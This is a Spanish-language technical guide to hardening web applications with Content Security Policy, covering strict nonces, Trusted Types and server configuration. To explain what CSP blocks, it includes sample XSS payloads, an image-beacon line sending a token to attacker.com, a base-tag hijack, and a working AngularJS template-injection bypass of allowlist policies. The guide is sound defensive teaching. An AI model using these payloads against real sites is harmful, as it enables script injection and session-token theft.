Avanzado

Content Security Policy (CSP): De la Teoría de Mitigación al Hardening en Producción

Durante más de una década, los equipos de ingeniería han tratado a Content Security Policy (CSP) como una simple cabecera HTTP para «marcar la casilla de seguridad en un scan de compliance» o como una supuesta cura milagrosa contra XSS.

Ambas posturas son erróneas.

Una política mal concebida basada en allowlists de dominios (script-src https://trusted.cdn.com) es fácilmente bypasseable en minutos mediante JSONP o Client-Side Template Injection. Por otro lado, una política restrictiva sin una arquitectura de desarrollo desacoplada rompe aplicaciones enteras en producción.

CSP es en realidad un mecanismo de control de ejecución y carga en tiempo de ejecución del navegador, diseñado como una barrera de defensa en profundidad. No sustituye la sanitización ni el contextual output encoding, pero cuando se implementa con Strict Nonces, ‘strict-dynamic’ y Trusted Types, neutraliza de raíz familias enteras de explotación.

Esta guía desglosa la mecánica interna de CSP, analiza cada vector de ataque con su impacto y mitigación, expone los métodos reales de bypass y proporciona una hoja de ruta técnica para llevar una aplicación desde cero hasta un estado de enforcement estricto sin fricción operativa.

01. Fundamentos Arquitectónicos: El Modelo de Seguridad del Navegador

1.1 El rol de CSP en el Sandbox del Navegador

El navegador web ejecuta código dentro del contexto del Same-Origin Policy (SOP). Sin embargo, una vez que un atacante logra inyectar HTML/JS en un origen legítimo (XSS), el SOP no ofrece protección: el script inyectado hereda la identidad, almacenamiento y privilegios del origen.

CSP actúa como una capa de autorización de bajo nivel en el motor de renderizado. Dicta qué orígenes, esquemas, hashes o nonces tienen permiso para:

  • 1.
    Ejecutar: Código interpretado (JavaScript, WebAssembly).
  • 2.
    Cargar: Recursos secundarios (imágenes, fuentes, hojas de estilo, media).
  • 3.
    Conectar: Sockets remotos o APIs HTTP (fetch, XMLHttpRequest, WebSocket, EventSource).
  • 4.
    Embeber / Ser embebido: Contextos de navegación anidados (iframe, frame, object).
  • 5.
    Navegar y enviar: Información confidencial (formularios POST, manipulaciones de <base>).
Diagrama 1.1: Flujo de evaluación del Motor CSP en el Navegador
Document Parser / DOM
➔ (Solicitud) ➔
CSP Policy Engine
[✔] Cumple Directiva
Ejecución o Carga Autorizada del recurso en el DOM.
[✖] Violación de Directiva
Bloqueo Inmediato + Envío de Reporte JSON (Reporting API v1).
1.2 Principio Cardinal: Defensa en Profundidad

CSP no es un sustituto de la programación segura. Un fallo de Cross-Site Scripting debe corregirse en el código fuente mediante contextual output encoding, sanitización estricta y APIs seguras. CSP es el cinturón de seguridad que minimiza o anula el impacto si la primera línea de defensa falla.

1.3 De CSP Level 1 a CSP Level 3: El Fracaso de las Allowlists

CSP Level 1 (2012)

Basado puramente en listas de dominios permitidos (script-src https://example.com https://cdn.com). Demostró ser ineficaz: más del 95% de las políticas basadas en allowlists en la web son vulnerables a bypasses triviales (APIs JSONP alojadas en esos dominios, endpoints abiertos de redirección o librerías desactualizadas).

CSP Level 2 (2014)

Introducción de Nonces criptográficos ('nonce-r@nd0m') y Hashes ('sha256-...'). Permite bloquear scripts inline mientras se autorizan fragmentos específicos.

CSP Level 3 (Estado del Arte)

Introducción de 'strict-dynamic', eliminación gradual de esquemas URL en favor de nonces, soporte integral para Worker isolation, modernización de endpoints con Reporting-Endpoints y la llegada de W3C Trusted Types para erradicar DOM-based XSS.

02. Taxonomía Integral: Las 6 Familias de Directivas

Para estructurar la postura de seguridad de una plataforma web moderna, el universo de directivas de CSP se organiza en 6 dominios funcionales:

Diagrama 2.1: Taxonomía de Familias de Directivas
CSP DIRECTIVES
1. EXECUTION
script-src, script-src-elem, script-src-attr, worker-src
2. RESOURCES
default-src, img-src, style-src, font-src, connect-src, media-src, object-src
3. FRAMING
frame-ancestors, frame-src, child-src
4. NAVIGATION
form-action, base-uri, navigate-to
5. HARDENING
trusted-types, require-trusted-types-for, upgrade-insecure-requests
6. TELEMETRY
report-to, report-uri, Content-Security-Policy-Report-Only
Familia Directiva Principal Función Crítica Configuración Defensiva Recomendada
Execution
script-src worker-src
Controla qué JavaScript y Workers se ejecutan. ‘nonce-{RANDOM}’ ‘strict-dynamic’
Resources
default-src connect-src object-src
Define el fallback por defecto y destinos de red/plugins. default-src ‘none’; object-src ‘none’; connect-src ‘self’
Framing
frame-ancestors frame-src
Previene Clickjacking e incrustación no autorizada de iframes. frame-ancestors ‘none’; frame-src ‘none’
Navigation
form-action base-uri
Previene robo de credenciales en formularios y manipulación del <base>. form-action ‘self’; base-uri ‘self’
Hardening
require-trusted-types-for upgrade-insecure-requests
Fuerza tipado seguro en DOM Sinks y eleva enlaces a HTTPS. require-trusted-types-for ‘script’; upgrade-insecure-requests;
Telemetry
report-to Report-Only
Envía alertas estructuradas ante intentos de violación. report-to csp-endpoint;

03. Matriz de Vectores de Ataque, Impacto y Mitigación

A continuación se detalla cada vector de amenaza bajo el flujo: Ataque → Condición Vulnerable → Impacto → Directiva CSP → Mitigación en Código.

3.1 XSS Clásico (Reflected / Stored / DOM)

CRÍTICO
  • Ataque: El atacante inyecta una cadena de JavaScript que el navegador interpreta en el contexto de seguridad de la víctima.
  • Condición: Falta de escaping contextual en plantillas de servidor o asignación insegura de datos no confiables en el DOM.
  • Impacto: Robo de tokens de sesión (localStorage), suplantación de identidad, ejecución de acciones forzadas, exfiltración de PII.
  • Directiva CSP: Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0mStr1ng' 'strict-dynamic';
Mitigación en Código (Desarrollo Seguro):
  • PHP 8+: Emplear htmlspecialchars($input, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8').
  • JavaScript Moderno: Utilizar element.textContent en lugar de element.innerHTML.
  • Validación de Tipos: No confiar ciegamente en inputs numéricos o IDs; validar formatos con schemas estrictos (Zod, Valibot).

3.2 Inline Script Injection & Inline Event Handlers

ALTO
  • Ataque: Inyección de etiquetas directas <script>exploit()</script> o atributos de eventos HTML <svg onload="exploit()">,
    <img src=x onerror="exploit()"> o <button onclick="exploit()">.
  • Condición: La aplicación evalúa HTML crudo suministrado por el usuario y permite scripts en línea sin control.
  • Impacto: Ejecución inmediata de código arbitrario sin requerir descargas externas.
  • Directiva CSP: Prohibido script-src 'unsafe-inline'. Usar únicamente Nonces: Content-Security-Policy: script-src 'nonce-EDNnf03nce24hgngs';
// INSEGURO (Requiere 'unsafe-inline')
// <button id="pay-btn" onclick="processPayment(1250)">Pagar</button>

// SEGURO (Compatible con CSP estricta)
// <button id="pay-btn" data-amount="1250">Pagar</button>
document.addEventListener('DOMContentLoaded', () => {
  const payBtn = document.querySelector('#pay-btn');
  if (payBtn) {
    payBtn.addEventListener('click', (e) => {
      const amount = e.currentTarget.getAttribute('data-amount');
      processPayment(amount);
    });
  }
});

3.3 Dynamic Code Execution (eval, new Function, setTimeout)

ALTO
  • Ataque: Inyección de strings dentro de sinks de compilación dinámica en tiempo de ejecución (eval("result = " + userInput)).
  • Condición: Uso de APIs de JavaScript que invocan el compilador interno del motor V8/SpiderMonkey sobre cadenas no estáticas.
  • Impacto: Ejecución remota de código en el contexto del cliente (DOM XSS / Logic Hijacking).
  • Directiva CSP: Por defecto CSP bloquea invocaciones a eval() a menos que se fuerce 'unsafe-eval'.

3.4 Compromiso de Terceros & CDN Supply-Chain Hijacking

MEDIO-ALTO
  • Ataque: Un repositorio o CDN público (https://cdn.example.com/lib.js) sufre una intrusión. El script legítimo es reemplazado por un payload malicioso.
  • Condición: Confianza ciega en dominios externos en la directiva script-src.
  • Impacto: Compromiso total de todas las sesiones de usuarios.
Mitigación en Código:

1. Subresource Integrity (SRI): Validar hash criptográfico SHA-384/SHA-512:

<script
  src="https://trusted-cdn.example.com/library-v3.2.1.min.js"
  integrity="sha384-wqnC6nPujCwJxDYsn5hFpu6zkYYqSbId6G5v5luhmsTuWn9u5Dk1h5Fp9Gqj5U7m"
  crossorigin="anonymous">
</script>

2. Self-hosting: Alojar las dependencias estáticas en el propio origen (/assets/vendor/).

3.5 Fallas de Cadena de Suministro en Bundles (node_modules)

MEDIO
  • Ataque: Un paquete dependiente en npm es comprometido y se empaqueta dentro del bundle final app.bundle.js.
  • Límite de CSP: Dado que se sirve desde 'self' con nonce válido, CSP no bloquea su ejecución interna, pero mitiga canales de exfiltración de red (connect-src).
  • Mitigación Real: Lockfiles obligatorios en CI (--frozen-lockfile), escaneo automatizado (Trivy, Snyk, npm audit) y generación de SBOM CycloneDX.

3.6 JSONP Endpoints y Abuso de Callbacks

ALTO
  • Ataque: Descubrimiento de un endpoint JSONP vulnerable en un dominio autorizado (<script src="https://api.trusted.com/user?callback=maliciousPayload"></script>).
  • Impacto: Bypass total de CSP en políticas basadas en allowlists de dominio.
  • Solución: Migrar inmediatamente a políticas basadas en Nonces estrictos con 'strict-dynamic' y reemplazar JSONP por CORS con respuestas application/json.

3.7 Pseudo-Protocolos javascript: en Enlaces y Redirecciones

ALTO

Inyección de URIs ejecutables en atributos href="javascript:...". En CSP Level 3 son bloqueadas si no existe 'unsafe-inline'.

// Validación estricta en PHP 8+
function sanitizeUserUrl(string $url): string {
    $filtered = filter_var($url, FILTER_VALIDATE_URL);
    if ($filtered === false) {
        return '#';
    }
    $scheme = strtolower(parse_url($filtered, PHP_URL_SCHEME) ?? '');
    if (!in_array($scheme, ['https', 'http'], true)) {
        return '#';
    }
    return esc_url($filtered);
}

3.8 Object & Plugin Injection (<object>, <embed>, <applet>)

CRÍTICO

Inserción de elementos <object data="malicious.swf"> para ejecutar plugins heredados.

Content-Security-Policy: object-src ‘none’;

3.9 Base URI Manipulation (Tag Hijacking)

ALTO

Inyección de etiquetado <base href="https://attacker.com/assets/"> para forzar la carga de scripts relativos desde servidores remotos.

Content-Security-Policy: base-uri ‘self’;

3.10 Form Hijacking (Robo de Credenciales y Tokens)

CRÍTICO

Manipulación del atributo action de un formulario para redirigir credenciales a servidores maliciosos.

Content-Security-Policy: form-action ‘self’ https://payment-gateway.com;

3.11 Clickjacking & UI Redressing

ALTO

Embeber la aplicación dentro de un <iframe> transparente en una página maliciosa.

Content-Security-Policy: frame-ancestors ‘none’;

3.12 Canales de Exfiltración Out-Of-Band (OOB)

NETWORK HARDENING

Cuando un atacante ejecuta JavaScript, intenta extraer datos comprometedores. CSP actúa como cortafuegos saliente limitando los vectores de transporte:

DATOS COMPROMETIDOS EN EL CLIENTE
Fetch / XHR / WS
Evaluado por connect-src 'self'
Bloqueado por CSP
Image Beacons
Evaluado por img-src 'self'
Bloqueado por CSP
CSS Side-Channels
Evaluado por style-src 'self'
Bloqueado por CSP
A. APIs de Red (connect-src):

fetch(), XMLHttpRequest, sendBeacon(), WebSocket.

Content-Security-Policy: connect-src 'self' https://api.miempresa.com;
B. Imágenes Dinámicas (img-src):

new Image().src = "https://attacker.com/k?data=" + token

Content-Security-Policy: img-src 'self' data: https://cdn-images.miempresa.com;
C. Inyección de CSS (style-src):

Selectores de atributos CSS para exfiltrar contraseñas carácter por carácter.

Content-Security-Policy: style-src 'self' 'nonce-styleNonce';

3.13 Frame Injection y Carga de Contextos Maliciosos

MEDIO

Controla qué URLs puede cargar tu sitio dentro de un iframe (frame-src 'none' o proveedores aprobados como Stripe).

Diferencia Crítica:

frame-src: Controla qué URLs puede cargar tu sitio dentro de un iframe.
frame-ancestors: Controla qué sitios pueden cargar a tu sitio dentro de un iframe.

3.14 Mixed Content & HTTPS Enforcement

REQUERIDO

Reescribe automáticamente todas las URLs HTTP secundarias a HTTPS antes de emitir la petición a la red.

Content-Security-Policy: upgrade-insecure-requests;

04. Bypasses del Mundo Real y Antipatrones de Configuración

Para diseñar una política resistente, es imprescindible comprender cómo los pentesters y atacantes rompen políticas defectuosas.

4.1 El Antipatrón de ‘unsafe-inline’ y ‘unsafe-eval’
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';

Incluir 'unsafe-inline' desactiva por completo la protección de CSP contra inyecciones directas de scripts en HTML. Cualquier payload XSS estándar funcionará sin impedimento.

4.2 Bypass por Allowlists de CDNs Públicas

Si una política permite orígenes masivos que alojan librerías con gadgets conocidos (e.g. cdnjs.cloudflare.com o unpkg.com), un atacante no necesita inyectar JavaScript en línea: simplemente inyecta una etiqueta de script cargando una versión vulnerable de AngularJS o Vue.js, y luego detona un Client-Side Template Injection (CSTI) en el DOM.

<!-- Bypass de CSP con script-src https://cdnjs.cloudflare.com -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>
  {{$eval.constructor('alert(document.domain)')()}}
</div>
4.3 Bypass por Wildcards Permisivos
Content-Security-Policy: script-src 'self' https: *.s3.amazonaws.com;

https: autoriza la descarga de scripts desde cualquier servidor HTTPS en el mundo. *.s3.amazonaws.com autoriza cualquier bucket de AWS S3, permitiendo al atacante servir su payload desde su propio bucket.

05. El Enfoque Moderno: Strict CSP & Trusted Types

La especificación moderna de CSP y los equipos de seguridad de Google y Mozilla recomiendan abandonar las listas de dominios (allowlists) en favor de una Strict CSP basada en Nonces.

5.1 Anatomía de una Strict CSP

Content-Security-Policy:
  object-src 'none';
  script-src 'nonce-dGhpcy1pcy1hLXJhbmRvbS1ub25jZQ==' 'strict-dynamic' 'unsafe-inline' https: http:;
  base-uri 'none';

¿Por qué funciona este conjunto de directivas?

  • 'nonce-...': Los navegadores modernos ejecutarán exclusivamente los elementos <script> que contengan este token criptográfico único generado por cada respuesta HTTP.
  • 'strict-dynamic': Indica al motor del navegador que si un script con nonce legítimo carga dinámicamente dependencias secundarias (e.g., Google Analytics), esas dependencias heredan la confianza automáticamente.
  • 'unsafe-inline' https: http:: Son incluidos únicamente como fallbacks de compatibilidad retroactiva. Los navegadores con soporte de CSP Level 3 los ignorarán automáticamente en presencia de un nonce y 'strict-dynamic'.

5.2 Implementación del Ciclo de Vida del Nonce

Para que un nonce sea seguro, debe cumplir tres condiciones criptográficas:

  1. Unicidad: Debe generarse mediante un CSPRNG nuevo para cada petición HTTP individual.
  2. Entropía: Mínimo 128 bits de entropía (16 bytes en Base64).
  3. No predecible: No depender de timestamps ni de secuencias lineales.
Requisito Criptográfico: E = log2(6422) ≈ 132 bits de entropía (16 bytes Base64 via CSPRNG)
<?php
declare(strict_types=1);

namespace Security;

class CspMiddleware
{
    public static function generateNonce(): string
    {
        // 16 bytes = 128 bits de entropía criptográfica
        return base64_encode(random_bytes(16));
    }

    public static function applyHeaders(): string
    {
        $nonce = self::generateNonce();

        $policy = [
            "default-src 'self'",
            "object-src 'none'",
            "base-uri 'self'",
            "form-action 'self'",
            "frame-ancestors 'none'",
            "script-src 'nonce-{$nonce}' 'strict-dynamic' 'unsafe-inline' https:",
            "style-src 'self' 'nonce-{$nonce}' https://fonts.googleapis.com",
            "font-src 'self' https://fonts.gstatic.com data:",
            "img-src 'self' data: https:",
            "connect-src 'self'",
            "upgrade-insecure-requests",
        ];

        header('Content-Security-Policy: ' . implode('; ', $policy));
        
        return $nonce;
    }
}

5.3 Erradicación de DOM XSS mediante W3C Trusted Types

El DOM XSS ocurre cuando datos no confiables alcanzan un Execution Sink del DOM (como element.innerHTML, element.outerHTML, document.write o script.src).

Trusted Types es una extensión de CSP que desactiva la capacidad del navegador de recibir strings sin formato en estos sinks peligrosos. A partir de su activación, los sinks exigen objetos fuertemente tipados (TrustedHTML, TrustedScript, TrustedScriptURL).

// main.js - Configuración de Trusted Types Policy con DOMPurify
if (window.trustedTypes && window.trustedTypes.createPolicy) {
  window.trustedTypes.createPolicy('dompurify-policy', {
    createHTML: (untrustedInput) => {
      return DOMPurify.sanitize(untrustedInput, { RETURN_TRUSTED_TYPE: false });
    },
    createScriptURL: (untrustedUrl) => {
      const parsed = new URL(untrustedUrl, window.location.origin);
      if (parsed.origin === window.location.origin) return parsed.href;
      throw new TypeError(`URL de script no permitida: ${untrustedUrl}`);
    }
  });
}

// ESTO LANZARÁ UN ERROR DE TIPO EN TIEMPO DE EJECUCIÓN:
// document.getElementById('output').innerHTML = "<img src=x onerror=alert(1)>";

// FORMA SEGURA REQUERIDA POR EL NAVEGADOR:
const policy = window.trustedTypes.getPolicy('dompurify-policy');
const cleanHTML = policy.createHTML(userInput);
document.getElementById('output').innerHTML = cleanHTML; // Aceptado: es un objeto TrustedHTML

06. Estrategia de Despliegue en Producción (Zero-Downtime Pipeline)

Implementar CSP en una aplicación en producción sin romper funcionalidades existentes requiere un proceso metódico de 4 fases:

FASE 1: AUDITORÍA
Identificar scripts inline y remover eval()
FASE 2: REPORT-ONLY
Activar cabecera Report-Only + Telemetría
FASE 3: TRIAJE
Filtrar extensiones y corregir falso positivo
FASE 4: ENFORCE
Activar bloqueo real + Canary Releases
Fase 1: Auditoría de Assets

Inventariar librerías de terceros, eliminar JavaScript inline en etiquetas HTML y centralizar scripts en módulos.

Fase 2: Configuración en Modo Report-Only

En lugar de romper la página, el navegador ejecuta los recursos mientras envía un payload JSON al endpoint de telemetría.

Fase 3: Filtrado de Ruido y Falsos Positivos

Descartar eventos generados por extensiones del cliente o inyecciones de proveedores ISP.

Fase 4: Transición a Enforce y Canary Releases

Activar bloqueo real mediante despliegue gradual (1% → 10% → 50% → 100%).

Estructura del Reporte JSON Recibido (W3C Reporting API v1)

{
  "type": "csp-violation",
  "age": 12,
  "url": "https://app.miempresa.com/dashboard",
  "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)...",
  "body": {
    "documentURL": "https://app.miempresa.com/dashboard",
    "referrer": "https://app.miempresa.com/login",
    "blockedURL": "inline",
    "effectiveDirective": "script-src-elem",
    "originalPolicy": "default-src 'self'; script-src 'nonce-...' ...",
    "disposition": "report",
    "statusCode": 200,
    "sample": "console.log('injected');"
  }
}

07. Plantillas de Configuración para Servidores Web

7.1 Nginx (Producción Hardened)

NGINX
# /etc/nginx/conf.d/security_headers.conf

server {
    listen 443 ssl http2;
    server_name app.miempresa.com;

    # Opciones de hardening complementarias
    add_header X-Content-Type-Options "nosniff" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;

    # Política CSP Base (Backend PHP/Node inyecta los nonces específicos)
    add_header Content-Security-Policy "default-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self'; upgrade-insecure-requests;" always;
}

7.2 Caddy Server (v2)

CADDY
app.miempresa.com {
    encode gzip zstd
    
    header {
        Content-Security-Policy "default-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests;"
        X-Content-Type-Options "nosniff"
        Referrer-Policy "strict-origin-when-cross-origin"
    }

    reverse_proxy localhost:3000
}

7.3 Node.js / Express (con Helmet)

EXPRESS / HELMET
import express from 'express';
import helmet from 'helmet';
import crypto from 'node:crypto';

const app = express();

app.use((req, res, next) => {
  res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
  next();
});

app.use((req, res, next) => {
  helmet({
    contentSecurityPolicy: {
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: [
          `'nonce-${res.locals.cspNonce}'`,
          "'strict-dynamic'",
          "'unsafe-inline'",
          "https:"
        ],
        styleSrc: ["'self'", `'nonce-${res.locals.cspNonce}'`],
        objectSrc: ["'none'"],
        baseUri: ["'self'"],
        formAction: ["'self'"],
        frameAncestors: ["'none'"],
        upgradeInsecureRequests: []
      }
    }
  })(req, res, next);
});

08. Herramienta Interactiva: Evaluador Estático de Cabecera CSP

Utiliza este evaluador estático en tiempo real para verificar la robustez de tus cabeceras Content-Security-Policy. Analiza directivas declardas, detecta antipatrones críticos (como 'unsafe-inline' o comodines anchos) y emite un reporte con nivel de riesgo y remediación alineado con OWASP.

CSP Auditor Engine v2.6

100% Safe Client-Side Execution • Strict DOM Text Encoding

Presiona ‘Ejecutar Auditoría Estática’ o selecciona un Preset.

09. Matriz de Auditoría y Verificación

Antes de declarar una política como completada, debe validarse contra este checklist de control:

# Control de Auditoría Estado Esperado Riesgo si está Ausente
1 ¿Se ha definido object-src 'none'? Requerido Ejecución de plugins / exploits de sandbox
2 ¿Se ha definido base-uri 'self' o 'none'? Requerido Hijacking de rutas relativas con <base href>
3 ¿Se evita absolutamente 'unsafe-inline' en script-src? Requerido Anulación de la defensa anti-XSS
4 ¿Se evita absolutamente 'unsafe-eval' en producción? Requerido Inyección de strings en evaluadores dinámicos
5 ¿Se utiliza frame-ancestors en lugar de X-Frame-Options? Requerido Vulnerabilidad ante ataques de Clickjacking avanzados
6 ¿Se ha configurado form-action explícito? Requerido Robo de credenciales vía desvío de formularios
7 ¿Los Nonces son criptográficamente aleatorios por request? Requerido Reutilización de nonces y bypass de scripts
8 ¿Existe un pipeline de telemetría con report-to? Requerido Ceguera operativa ante ataques o fallas en producción
9 ¿Está activado upgrade-insecure-requests? Requerido Degradación por Mixed-Content en conexiones HTTPS
10 ¿Se evalúa la política con Google CSP Evaluator? Score: Clean Descubrimiento temprano de gadgets y bypasses

Conclusión

Content Security Policy no es una capa decorativa ni una solución mágica para el código defectuoso. Es una declaración formal de arquitectura de ejecución del lado del cliente.

El paso definitivo para cualquier organización de ingeniería que aspire a una postura de seguridad robusta es superar el viejo paradigma de listas blancas de dominios y adoptar una política moderna de Strict CSP (Nonces + ‘strict-dynamic’) integrada con Trusted Types. Esto transforma el navegador de un entorno permisivo a una máquina de estados estrictamente controlada donde el código no autorizado carece de vías de ejecución.